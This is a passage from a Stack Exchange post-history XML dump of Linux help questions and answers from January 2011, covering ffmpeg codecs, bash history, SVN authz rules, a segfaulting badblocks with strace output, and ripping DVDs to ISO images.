  protocols:      db files&#xD;&#xA;    services:       db files&#xD;&#xA;    ethers:         db files&#xD;&#xA;    rpc:            db files&#xD;&#xA;&#xD;&#xA;    netgroup:       nis&#xD;&#xA;&#xD;&#xA;    $ sudo iptables -L&#xD;&#xA;    Chain INPUT (policy ACCEPT)&#xD;&#xA;    target     prot opt source               destination         &#xD;&#xA;&#xD;&#xA;    Chain FORWARD (policy ACCEPT)&#xD;&#xA;    target     prot opt source               destination         &#xD;&#xA;&#xD;&#xA;    Chain OUTPUT (policy ACCEPT)&#xD;&#xA;    target     prot opt source               destination  " />
  <row Id="12825" PostHistoryTypeId="6" PostId="5681" RevisionGUID="be4c0852-8f10-4fb2-b524-ce72543ea511" CreationDate="2011-01-11T20:32:56.147" UserId="885" Comment="edited tags" Text="ékernelàédebianàéinstallàépowerpcàéquikà" />
  <row Id="12826" PostHistoryTypeId="2" PostId="5700" RevisionGUID="b4311ebb-a827-40e3-a6ad-1114c1376449" CreationDate="2011-01-11T20:40:03.763" UserId="688" Text="Your ffmpeg is most likely not compiled with `--enable-libmp3lame` option (the official Debian ffmpeg package isn't). So even if you have libmp3lame0 installed, it won't be used." />
  <row Id="12827" PostHistoryTypeId="5" PostId="5700" RevisionGUID="b2d5befd-23c6-436d-8852-9b47673c9acd" CreationDate="2011-01-11T20:48:07.763" UserId="688" Comment="deleted 2 characters in body; added 1 characters in body" Text="Debian and Ubuntu ffmpeg packages are not compiled with `--enable-libmp3lame` option due to patent issues. So even if you have libmp3lame0 installed, it won't be used by ffmpeg." />
  <row Id="12828" PostHistoryTypeId="5" PostId="5699" RevisionGUID="5958ba43-d430-496b-bc8a-317d3a3373d3" CreationDate="2011-01-11T21:05:42.873" UserId="688" Comment="deleted 1 characters in body" Text="When I am converting an FLV to an AVI one, I always get:&#xD;&#xA;&#xD;&#xA;    Unknown encoder 'libmp3lame'&#xD;&#xA;&#xD;&#xA;But I've installed it with Ubuntu Software Center.&#xD;&#xA;&#xD;&#xA;I am using this command:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i video.flv -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 video.avi&#xD;&#xA;&#xD;&#xA;How do I get this to work?" />
  <row Id="12829" PostHistoryTypeId="2" PostId="5701" RevisionGUID="e511f330-c262-47cf-8968-3382b76fa510" CreationDate="2011-01-11T21:07:50.687" UserId="885" Text="Bash disables history in noninteractive shells by default, but you can turn it on.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    HISTFILE=~/.bash_history&#xD;&#xA;    set -o history&#xD;&#xA;    history | tail …&#xD;&#xA;&#xD;&#xA;But if you're trying to monitor activity on that server, the shell history is useless (it's trivial to run commands that don't show up in the history). See [How can I log all process launches in Linux](http://superuser.com/questions/222912/how-can-i-log-all-process-launches-in-linux).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12830" PostHistoryTypeId="2" PostId="5702" RevisionGUID="1988723c-ab88-47f0-aa34-70dabdf41a40" CreationDate="2011-01-11T21:42:49.270" UserId="2594" Text="You wrote you own the process so my reply is slightly off topic but for the record, note that the init process is immune to SIGKILL." />
  <row Id="12831" PostHistoryTypeId="2" PostId="5703" RevisionGUID="92742dfb-bdeb-47d0-8ed4-2ed946ab3458" CreationDate="2011-01-11T21:54:40.140" UserId="1131" Text="I am now using [Trysterobiff][1]. It is a non-polling IMAP mail notifier for the&#xD;&#xA;systray. It implements the requirements, including the execution of external&#xD;&#xA;commands and does not crash.&#xD;&#xA;&#xD;&#xA;I've wrote it using Qt, thus Trysterobiff is quite portable. The non-polling&#xD;&#xA;operation is implemented using the IDLE extension of IMAP, i.e. you are *immedialtely* notified of new mail (in contrast to a polling approach).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/gsauthof/trysterobiff/src" />
  <row Id="12832" PostHistoryTypeId="5" PostId="5703" RevisionGUID="0caf2cb0-0e08-42da-b2ed-b6c5f8b9d64f" CreationDate="2011-01-11T22:00:23.150" UserId="1131" Comment="grammar" Text="I am now using [Trysterobiff][1]. It is a non-polling IMAP mail notifier for the&#xD;&#xA;systray. It implements the requirements, including the execution of external&#xD;&#xA;commands and does not crash.&#xD;&#xA;&#xD;&#xA;I've written it using Qt, thus Trysterobiff is quite portable. The non-polling&#xD;&#xA;operation is implemented using the IDLE extension of IMAP, i.e. you are *immedialtely* notified of new mail (in contrast to a polling approach).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/gsauthof/trysterobiff/src" />
  <row Id="12833" PostHistoryTypeId="5" PostId="5700" RevisionGUID="7245ea54-4f8c-4de9-a9c2-0bc3b714b1eb" CreationDate="2011-01-11T22:11:56.100" UserId="688" Comment="corrent answer; deleted 6 characters in body" Text="Run ([as root][2]) `apt-get install libavcodec-extra-52`. If that doesn't work, ensure that you have __multiverse__ enabled, do `apt-get update` and try again.&#xD;&#xA;&#xD;&#xA;[__note__] This is for Ubuntu 10.10 (Maverick). See if you can find a similarly-named package if you use a different Ubuntu release, by running `aptitude search liavcodec-extra`.&#xD;&#xA;&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="12834" PostHistoryTypeId="2" PostId="5704" RevisionGUID="4ba2e5c5-b403-4dee-bfa3-29534af90c9d" CreationDate="2011-01-11T22:33:00.060" UserId="1131" Text="Checkout the [ripper.sh script supplied with x264 transcode][1]. From the README:&#xD;&#xA;&#xD;&#xA;&gt; To create an iso from a disk you own, edit DEFAULT_ISO_STORAGE and &#xD;&#xA;&gt; DEFAULT_DVD_RIPPING_DEVICE in the config and run:&#xD;&#xA;&gt;&#xD;&#xA;&gt;      ripper.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The script takes care of 'unlocking' the drive, such that the resulting .iso does not include any CSS crap (just running dd is not enough).&#xD;&#xA;&#xD;&#xA;With this method you get one file, retain the menu, all tracks and all subtitles.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www2.warwick.ac.uk/fac/sci/csc/people/computingstaff/jaroslaw_zachwieja/x264transcode/" />
  <row Id="12835" PostHistoryTypeId="25" PostId="5699" RevisionGUID="52a88e2c-c2a0-41a0-b07e-3b7d6dbd329b" CreationDate="2011-01-11T22:55:28.667" Comment="http://twitter.com/#!/StackUnix/status/24962627234963456" />
  <row Id="12836" PostHistoryTypeId="2" PostId="5705" RevisionGUID="87a980a0-abb4-4a0a-aed7-35fb2d90061a" CreationDate="2011-01-11T22:59:24.493" UserId="3455" Text="There seems to be a path inheritance issue which is boggling me over access restrictions.&#xD;&#xA;For instance, if I grant `rw` access one group/user, and wish to restrict it some `/../../secret` to none, it promptly spits in my face. &#xD;&#xA;&#xD;&#xA;Here is an example of what I'm trying to achieve in dav_svn.authz&#xD;&#xA;&#xD;&#xA;    [groups]&#xD;&#xA;    grp_W = a, b, c, g&#xD;&#xA;    grp_X = a, d, f, e&#xD;&#xA;    grp_Y = a, e,&#xD;&#xA;    &#xD;&#xA;    [/]&#xD;&#xA;    * = &#xD;&#xA;    @grp_Y = rw&#xD;&#xA;&#xD;&#xA;    [somerepo1:/projectPot]&#xD;&#xA;    @grp_W = rw&#xD;&#xA;&#xD;&#xA;    [somerepo2:/projectKettle]&#xD;&#xA;    @grp_X = rw&#xD;&#xA;&#xD;&#xA;What is expected: `grp_Y` has `rw` access to all repositories, while `grp_W` and `grp_X` only have access to their respective repositories.&#xD;&#xA;&#xD;&#xA;What occurs: `grp_Y` has access to all repositories, while `grp_W` and `grp_X`  have access to nothing&#xD;&#xA;&#xD;&#xA;If I flip the access ordering where I give everyone access and restrict it in each repository, it promply ignores the invalidation rule (stripping of rights) and gives everyone the access granted at the root level.&#xD;&#xA;&#xD;&#xA;Forgoing groups, it performs the same with user specific provisions; even fully defined such as:&#xD;&#xA;&#xD;&#xA;    [/]&#xD;&#xA;    a = rw&#xD;&#xA;    b = &#xD;&#xA;    c = &#xD;&#xA;    d = &#xD;&#xA;    e =&#xD;&#xA;    f = &#xD;&#xA;    g = rw&#xD;&#xA;&#xD;&#xA;    [somerepo1:/projectPot]&#xD;&#xA;    a = rw&#xD;&#xA;    b = rw&#xD;&#xA;    c = rw&#xD;&#xA;    d =&#xD;&#xA;    e = rw&#xD;&#xA;    f =&#xD;&#xA;    g = rw&#xD;&#xA;&#xD;&#xA;    [somerepo2:/projectKettle]&#xD;&#xA;    a = rw&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    d = rw&#xD;&#xA;    e = rw&#xD;&#xA;    f = rw&#xD;&#xA;    g&#xD;&#xA;&#xD;&#xA;Which yields the exact same result. According to the documentation I'm following all protocols so this is insane.&#xD;&#xA;&#xD;&#xA;Running on Apache2 with dav_svn" />
  <row Id="12837" PostHistoryTypeId="1" PostId="5705" RevisionGUID="87a980a0-abb4-4a0a-aed7-35fb2d90061a" CreationDate="2011-01-11T22:59:24.493" UserId="3455" Text="Setting SVN permissions with davsvnauthz" />
  <row Id="12838" PostHistoryTypeId="3" PostId="5705" RevisionGUID="87a980a0-abb4-4a0a-aed7-35fb2d90061a" CreationDate="2011-01-11T22:59:24.493" UserId="3455" Text="éapacheàésubversionà" />
  <row Id="12839" PostHistoryTypeId="5" PostId="5464" RevisionGUID="49e19994-85b0-4ac4-a137-60620266a14a" CreationDate="2011-01-11T23:01:07.723" UserId="688" Comment="clarity" Text="A DVD file layout has a directory named &quot;**VIDEO_TS**&quot; which contains a variety of files. These files can include multiple video and audio channels, subtitles, and menu structure (UI).&#xD;&#xA;&#xD;&#xA;Is there a format than can contain all of these, but in a single file? Can this format do this without losing video quality? What about retaining the menu? Maybe even retaining subtitle and commentary tracks? How do I do it (command)?&#xD;&#xA;&#xD;&#xA;[__note__] These aren't hard requirements. I'm just looking for something that can handle more than just audio/video." />
  <row Id="12840" PostHistoryTypeId="5" PostId="5705" RevisionGUID="33579d35-b339-4168-b2c2-c5523947d520" CreationDate="2011-01-11T23:12:56.057" UserId="3455" Comment="added 88 characters in body; added 9 characters in body" Text="There seems to be a path inheritance issue which is boggling me over access restrictions.&#xD;&#xA;For instance, if I grant `rw` access one group/user, and wish to restrict it some `/../../secret` to none, it promptly spits in my face. &#xD;&#xA;&#xD;&#xA;Here is an example of what I'm trying to achieve in dav_svn.authz&#xD;&#xA;&#xD;&#xA;    [groups]&#xD;&#xA;    grp_W = a, b, c, g&#xD;&#xA;    grp_X = a, d, f, e&#xD;&#xA;    grp_Y = a, e,&#xD;&#xA;    &#xD;&#xA;    [/]&#xD;&#xA;    * = &#xD;&#xA;    @grp_Y = rw&#xD;&#xA;&#xD;&#xA;    [somerepo1:/projectPot]&#xD;&#xA;    @grp_W = rw&#xD;&#xA;&#xD;&#xA;    [somerepo2:/projectKettle]&#xD;&#xA;    @grp_X = rw&#xD;&#xA;&#xD;&#xA;What is expected: `grp_Y` has `rw` access to all repositories, while `grp_W` and `grp_X` only have access to their respective repositories.&#xD;&#xA;&#xD;&#xA;What occurs: `grp_Y` has access to all repositories, while `grp_W` and `grp_X`  have access to nothing&#xD;&#xA;&#xD;&#xA;If I flip the access ordering where I give everyone access and restrict it in each repository, it promply ignores the invalidation rule (stripping of rights) and gives everyone the access granted at the root level.&#xD;&#xA;&#xD;&#xA;Forgoing groups, it performs the same with user specific provisions; even fully defined such as:&#xD;&#xA;&#xD;&#xA;    [/]&#xD;&#xA;    a = rw&#xD;&#xA;    b = &#xD;&#xA;    c = &#xD;&#xA;    d = &#xD;&#xA;    e =&#xD;&#xA;    f = &#xD;&#xA;    g = rw&#xD;&#xA;&#xD;&#xA;    [somerepo1:/projectPot]&#xD;&#xA;    a = rw&#xD;&#xA;    b = rw&#xD;&#xA;    c = rw&#xD;&#xA;    d =&#xD;&#xA;    e = rw&#xD;&#xA;    f =&#xD;&#xA;    g = rw&#xD;&#xA;&#xD;&#xA;    [somerepo2:/projectKettle]&#xD;&#xA;    a = rw&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    d = rw&#xD;&#xA;    e = rw&#xD;&#xA;    f = rw&#xD;&#xA;    g&#xD;&#xA;&#xD;&#xA;Which yields the exact same result. According to the **[documentation][1]** I'm following all protocols so this is insane.&#xD;&#xA;&#xD;&#xA;Running on Apache2 with dav_svn&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://svnbook.red-bean.com/nightly/en/svn.serverconfig.pathbasedauthz.html" />
  <row Id="12841" PostHistoryTypeId="2" PostId="5706" RevisionGUID="54a574f1-a4ae-4bd2-9ec3-04b1a84b9939" CreationDate="2011-01-11T23:16:57.483" UserId="529" Text="There are cases where even if you send a kill -9 to a process, that pid will stops, but the process restarts automatically (for instance, if you try it with gnome-panel, it will restarts): could it be the case?" />
  <row Id="12842" PostHistoryTypeId="2" PostId="5707" RevisionGUID="899fc0bd-46a0-41c5-888c-b5ffd30f4298" CreationDate="2011-01-11T23:40:14.507" UserId="1974" Text="I am trying to check a mounted partition to see if the drive has errors:&#xD;&#xA;&#xD;&#xA;    [root@virtuality ~]# /sbin/badblocks -v /dev/sdb1&#xD;&#xA;    Segmentation fault&#xD;&#xA;&#xD;&#xA;**Uh oh**. What does this mean? Why is `badblocks` segfaulting? Can I fix it?&#xD;&#xA;&#xD;&#xA;(System is CentOS release 4.6, drive is an SATA drive)&#xD;&#xA;&#xD;&#xA;**EDIT:** Using `strace`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@virtuality ~]# strace /sbin/badblocks -v /dev/sdb1&#xD;&#xA;    execve(&quot;/sbin/badblocks&quot;, [&quot;/sbin/badblocks&quot;, &quot;-v&quot;, &quot;/dev/sdb1&quot;], [/* 23 vars */]) = 0&#xD;&#xA;    uname({sys=&quot;Linux&quot;, node=&quot;virtuality.digitalfruition.com&quot;, ...}) = 0&#xD;&#xA;    brk(0)                                  = 0x505000&#xD;&#xA;    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2a95556000&#xD;&#xA;    access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)&#xD;&#xA;    open(&quot;/etc/ld.so.cache&quot;, O_RDONLY)      = 3&#xD;&#xA;    fstat(3, {st_mode=S_IFREG|0644, st_size=43530, ...}) = 0&#xD;&#xA;    mmap(NULL, 43530, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2a95557000&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    open(&quot;/lib64/libext2fs.so.2&quot;, O_RDONLY) = 3&#xD;&#xA;    read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\320e@P&gt;\0\0\0&quot;..., 832) = 832&#xD;&#xA;    fstat(3, {st_mode=S_IFREG|0755, st_size=113952, ...}) = 0&#xD;&#xA;    mmap(0x3e50400000, 1158432, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3e50400000&#xD;&#xA;    mprotect(0x3e5041a000, 1051936, PROT_NONE) = 0&#xD;&#xA;    mmap(0x3e5051a000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a000) = 0x3e5051a000&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    open(&quot;/lib64/libcom_err.so.2&quot;, O_RDONLY) = 3&#xD;&#xA;    read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\320\f\300P&gt;\0\0\0&quot;..., 832) = 832&#xD;&#xA;    fstat(3, {st_mode=S_IFREG|0755, st_size=10384, ...}) = 0&#xD;&#xA;    mmap(0x3e50c00000, 1055000, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3e50c00000&#xD;&#xA;    mprotect(0x3e50c02000, 1046808, PROT_NONE) = 0&#xD;&#xA;    mmap(0x3e50d01000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x3e50d01000&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    open(&quot;/lib64/tls/libc.so.6&quot;, O_RDONLY)  = 3&#xD;&#xA;    read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\260\304\321O&gt;\0\0\0&quot;..., 832) = 832&#xD;&#xA;    fstat(3, {st_mode=S_IFREG|0755, st_size=1636504, ...}) = 0&#xD;&#xA;    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2a95562000&#xD;&#xA;    mmap(0x3e4fd00000, 2326568, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3e4fd00000&#xD;&#xA;    mprotect(0x3e4fe2f000, 1085480, PROT_NONE) = 0&#xD;&#xA;    mmap(0x3e4ff2f000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12f000) = 0x3e4ff2f000&#xD;&#xA;    mmap(0x3e4ff34000, 16424, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3e4ff34000&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2a95563000&#xD;&#xA;    mprotect(0x3e4ff2f000, 12288, PROT_READ) = 0&#xD;&#xA;    mprotect(0x3e4fc14000, 4096, PROT_READ) = 0&#xD;&#xA;    arch_prctl(ARCH_SET_FS, 0x2a95563320)   = 0&#xD;&#xA;    munmap(0x2a95557000, 43530)             = 0&#xD;&#xA;    brk(0)                                  = 0x505000&#xD;&#xA;    brk(0x526000)                           = 0x526000&#xD;&#xA;    open(&quot;/usr/lib/locale/locale-archive&quot;, O_RDONLY) = 3&#xD;&#xA;    fstat(3, {st_mode=S_IFREG|0644, st_size=48504432, ...}) = 0&#xD;&#xA;    mmap(NULL, 48504432, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2a95564000&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    open(&quot;/dev/sdb1&quot;, O_RDONLY)             = 3&#xD;&#xA;    ioctl(3, BLKGETSIZE, 0x7fbffff878)      = 0&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    open(&quot;/dev/sdb1&quot;, O_RDONLY)             = 3&#xD;&#xA;    --- SIGSEGV (Segmentation fault) @ 0 (0) ---&#xD;&#xA;    +++ killed by SIGSEGV +++&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12843" PostHistoryTypeId="1" PostId="5707" RevisionGUID="899fc0bd-46a0-41c5-888c-b5ffd30f4298" CreationDate="2011-01-11T23:40:14.507" UserId="1974" Text="Why is badblocks segfaulting?" />
  <row Id="12844" PostHistoryTypeId="3" PostId="5707" RevisionGUID="899fc0bd-46a0-41c5-888c-b5ffd30f4298" CreationDate="2011-01-11T23:40:14.507" UserId="1974" Text="ésegmentationöfaultàébadblocksà" />
  <row Id="12845" PostHistoryTypeId="2" PostId="5708" RevisionGUID="1e66f0c5-2789-447e-b6f3-649588991d85" CreationDate="2011-01-11T23:45:48.637" UserId="3592" Text="In 3.3.5:&lt;br&gt;&#xD;&#xA;1. Click Settings menu.&lt;br&gt;&#xD;&#xA;2. Click &quot;Configure - Kate&quot;&lt;br&gt;&#xD;&#xA;3. Expand &quot;Editor Component&quot;&lt;br&gt;&#xD;&#xA;4. Click &quot;Editing&quot;&lt;br&gt;&#xD;&#xA;5. Click on &quot;Indentation&quot; tab on the right&lt;br&gt;&#xD;&#xA;6. Change your Indentation width.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12846" PostHistoryTypeId="2" PostId="5709" RevisionGUID="4f56d4dc-1c0f-49b2-bd87-0caa1b03ed78" CreationDate="2011-01-12T00:00:33.173" UserId="2119" Text="When I was using DOS and Windows I've seen quite a selection of tools to check optical disks for readability and benchmark an optical drive itself. Most of them were even visualising the results in form of a pretty chart.&#xD;&#xA;&#xD;&#xA;Are there any such for GNU/Linux OSes?&#xD;&#xA;&#xD;&#xA;I'd prefer to have a full-featured visual GUI tool, but for the particular case I've got now, I just need to check if my CD drive can read every byte of a particular heavily-scratched CD-RW disk." />
  <row Id="12847" PostHistoryTypeId="1" PostId="5709" RevisionGUID="4f56d4dc-1c0f-49b2-bd87-0caa1b03ed78" CreationDate="2011-01-12T00:00:33.173" UserId="2119" Text="Is there a CD/DVD disk reading test tool for Linux?" />
  <row Id="12848" PostHistoryTypeId="3" PostId="5709" RevisionGUID="4f56d4dc-1c0f-49b2-bd87-0caa1b03ed78" CreationDate="2011-01-12T00:00:33.173" UserId="2119" Text="édvdàérecordingàécdàétestingà" />
  <row Id="12849" PostHistoryTypeId="5" PostId="412" RevisionGUID="70083db0-7cc6-4051-98eb-80671b891dc1" CreationDate="2011-01-12T01:23:21.767" UserId="688" Comment="added 44 characters in body; edited title" Text="I have an app running on rackspace cloud (ubuntu 10.04).  For some reason, over the last 3 nights, the memory has been spiking and then leveling off for about 7 hours before eventually falling off.  It seems to start at midnight and last through 7 am (ignore the times on the chart -- they're off by 4 hours).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Looking through [Munin][2] chart, there doesn't seem to be any increased activity in mysql, and the ethernet traffic doesn't seem to be spiking at all during that time (which would seem to negate something like a bot or crawler).&#xD;&#xA;&#xD;&#xA;Which tools are available for linux to troubleshoot something like this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://imgur.com/9opY4.png&#xD;&#xA;  [2]: http://munin.projects.linpro.no/" />
  <row Id="12850" PostHistoryTypeId="4" PostId="412" RevisionGUID="70083db0-7cc6-4051-98eb-80671b891dc1" CreationDate="2011-01-12T01:23:21.767" UserId="688" Comment="added 44 characters in body; edited title" Text="How to track down memory spikes?" />
  <row Id="12851" PostHistoryTypeId="5" PostId="11" RevisionGUID="b5f05ccb-d644-4916-b391-bbf7c170e405" CreationDate="2011-01-12T01:32:20.403" UserId="688" Comment="deleted 49 characters in body; edited tags; edited title" Text="I have the experience that Linux works fine until the physical memory is exhausted. As soon as swap space is used the performance is severely degraded and the GUI becomes unresponsive.&#xD;&#xA;&#xD;&#xA;This problem is not limited to a specific distro or desktop, because I've tried a few (and the issue remains).&#xD;&#xA;&#xD;&#xA;What can I do about this?" />
  <row Id="12852" PostHistoryTypeId="4" PostId="11" RevisionGUID="b5f05ccb-d644-4916-b391-bbf7c170e405" CreationDate="2011-01-12T01:32:20.403" UserId="688" Comment="deleted 49 characters in body; edited tags; edited title" Text="How can I tweak my Linux desktop to be more responsive?" />
  <row Id="12853" PostHistoryTypeId="6" PostId="11" RevisionGUID="b5f05ccb-d644-4916-b391-bbf7c170e405" CreationDate="2011-01-12T01:32:20.403" UserId="688" Comment="deleted 49 characters in body; edited tags; edited title" Text="élinuxàékernelàéperformanceàéioàéswapà" />
  <row Id="12854" PostHistoryTypeId="5" PostId="5476" RevisionGUID="6f024f8c-5ca7-4c52-9645-fe20a2126a46" CreationDate="2011-01-12T01:42:17.933" UserId="138" Comment="added no-menu alternatives, and clarified a bit of the existing text" Text="The only way to do everything you ask is to rip a disk image of the DVD and then play the image. Any other process which doesn't preserve the exact format of the disk will likely remove one or more of the features you're after because DVD is a very specific variant of the MPEG-2 standard. DVD player programs &amp;mdash; which you still have to use to interpret the menu information &amp;mdash; often depend on their input following the standard closely.&#xD;&#xA;&#xD;&#xA;There are lots of ways to rip a DVD image, enough that it's worth a separate question. A quick and dirty way to do it is from the command line:&#xD;&#xA;&#xD;&#xA;    $ dd if=/dev/scd0 of=my-movie.iso bs=2048&#xD;&#xA;&#xD;&#xA;Obviously you must substitute the correct DVD drive dev node if yours isn't mounted on `scd0`.&#xD;&#xA;&#xD;&#xA;Some media players can play ISO files directly, such as &lt;a href=&quot;http://www.videolan.org/&quot;&gt;VLC&lt;/a&gt; and &lt;a href=&quot;http://www.mplayerhq.hu/&quot;&gt;MPlayer&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;If you want to use a player that can't open ISO files itself, you can mount an ISO disk image as a virtual DVD. This is indistinguishable from a real DVD, from the player's perspective. I assume you are using Linux, where you use the loop device for this:&#xD;&#xA;&#xD;&#xA;    $ mkdir -p $HOME/virtualdvd&#xD;&#xA;    $ mount -t iso9660 -o loop my-movie.iso $HOME/virtualdvd&#xD;&#xA;&#xD;&#xA;Depending on the permissions on `/dev/loop?`, you might have to be root (or use `sudo`) to do the second step.&#xD;&#xA;&#xD;&#xA;Having done this, you point your DVD player program at that `virtualdvd` directory.&#xD;&#xA;&#xD;&#xA;Other *ixes usually have an equivalent mechanism to Linux's loop device, which may work a little differently.&#xD;&#xA;&#xD;&#xA;**EDIT**: If you can give up the interactive menu requirement, there are lots of alternatives:&#xD;&#xA;&#xD;&#xA; * **MPEG-2**: If you simply rip the VOB files from the DVD, you can concatenate them and feed them to anything that can play generic MPEG-2 files.&#xD;&#xA;&#xD;&#xA; You lose menuing because the result no longer conforms to the DVD spec. The data is still there in private sub-streams, but I'm not aware of any player that will interpret them when you reorganize the data this way.&#xD;&#xA;&#xD;&#xA; Beware that simply blindly concatenating VOB files isn't what you want anyway. You'll drag in things like the motion clip used behind the DVD menu, which is often stored as an independent VOB file. Sorting out which data to pull from which VOB file is one of the services provided by a DVD ripping program.&#xD;&#xA;&#xD;&#xA; * **MPEG-4 part 14**: This is the container format usually used by H.264 files.  It is based on the QuickTime format (see next), and so it shares a lot of its power. When you use a program like &lt;a href=&quot;http://handbrake.fr/&quot;&gt;Handbrake&lt;/a&gt; to rip a DVD to H.264, this is what you get. You can ask Handbrake to give you all the audio tracks, angles, etc. Your ability to see all this is limited only by the capabilities of the program you use to play it.&#xD;&#xA;&#xD;&#xA; * **QuickTime**: Supports any number of tracks, including subtitles, but there is no standard way to translate DVD menus to something a QuickTime player could understand. Apple's QuickTime player used to include Adobe Flash support, which could have been pressed into this use, but &lt;a href=&quot;http://www.oreillynet.com/mac/blog/2006/09/surprise_quicktime_713_disable.html&quot;&gt;Apple dropped that feature years ago&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA; * **MKV**: Like QuickTime, supports any number of tracks.&#xD;&#xA;&#xD;&#xA; * **Ogg**: Pretty much the same as MKV. There are niggly differences but they don't matter for your purposes." />
  <row Id="12855" PostHistoryTypeId="2" PostId="5710" RevisionGUID="f4857670-18d4-4107-b3d2-34ab78181811" CreationDate="2011-01-12T01:53:23.390" UserId="138" Text="The last few lines of that `strace` tell a fairly scary tale, if it's repeatable. It's saying that `badblocks` opens the partition's device successfully once, gets its size, closes it, and crashes when it tries to reopen it in exactly the same way. If what you show is the full story, it means the kernel has gone nondeterministic, which means something like hardware failure.&#xD;&#xA;&#xD;&#xA;It may be that there's more going on than you show. If you re-run `badblocks` through `strace` again and it crashes on a *different* syscall, the core issue is that the partition is mounted and the changes are from the other programs writing to it. If that's the case, you have no choice but unmount the partition so `badblocks` has a stable thing to work on. Obviously this shouldn't be required, but it wouldn't be the first time that some low-level uncommonly-used operation didn't work as it should.&#xD;&#xA;&#xD;&#xA;Bonus: If you unmount the partition, you can use `badblocks -n`, which is far more effective at finding and fixing disk surface problems." />
  <row Id="12856" PostHistoryTypeId="5" PostId="5707" RevisionGUID="b0e7042b-d0f9-4236-9f95-76c546869852" CreationDate="2011-01-12T01:54:59.097" UserId="138" Comment="removed noise from strace output, added a few tags" Text="I am trying to check a mounted partition to see if the drive has errors:&#xD;&#xA;&#xD;&#xA;    [root@virtuality ~]# /sbin/badblocks -v /dev/sdb1&#xD;&#xA;    Segmentation fault&#xD;&#xA;&#xD;&#xA;**Uh oh**. What does this mean? Why is `badblocks` segfaulting? Can I fix it?&#xD;&#xA;&#xD;&#xA;(System is CentOS release 4.6, drive is an SATA drive)&#xD;&#xA;&#xD;&#xA;**EDIT:** Using `strace`:&#xD;&#xA;&#xD;&#xA;    [root@virtuality ~]# strace /sbin/badblocks -v /dev/sdb1&#xD;&#xA;    ...[snip]...&#xD;&#xA;    open(&quot;/dev/sdb1&quot;, O_RDONLY)             = 3&#xD;&#xA;    ioctl(3, BLKGETSIZE, 0x7fbffff878)      = 0&#xD;&#xA;    close(3)                                = 0&#xD;&#xA;    open(&quot;/dev/sdb1&quot;, O_RDONLY)             = 3&#xD;&#xA;    --- SIGSEGV (Segmentation fault) @ 0 (0) ---&#xD;&#xA;    +++ killed by SIGSEGV +++&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12857" PostHistoryTypeId="6" PostId="5707" RevisionGUID="b0e7042b-d0f9-4236-9f95-76c546869852" CreationDate="2011-01-12T01:54:59.097" UserId="138" Comment="removed noise from strace output, added a few tags" Text="élinuxàéhardödiskàésegmentationöfaultàébadblocksà" />
  <row Id="12858" PostHistoryTypeId="25" PostId="5709" RevisionGUID="eec6b93f-13a6-4c9b-8b1f-94bebb9b70d4" CreationDate="2011-01-12T01:55:29.197" Comment="http://twitter.com/#!/StackUnix/status/25007926997426176" />
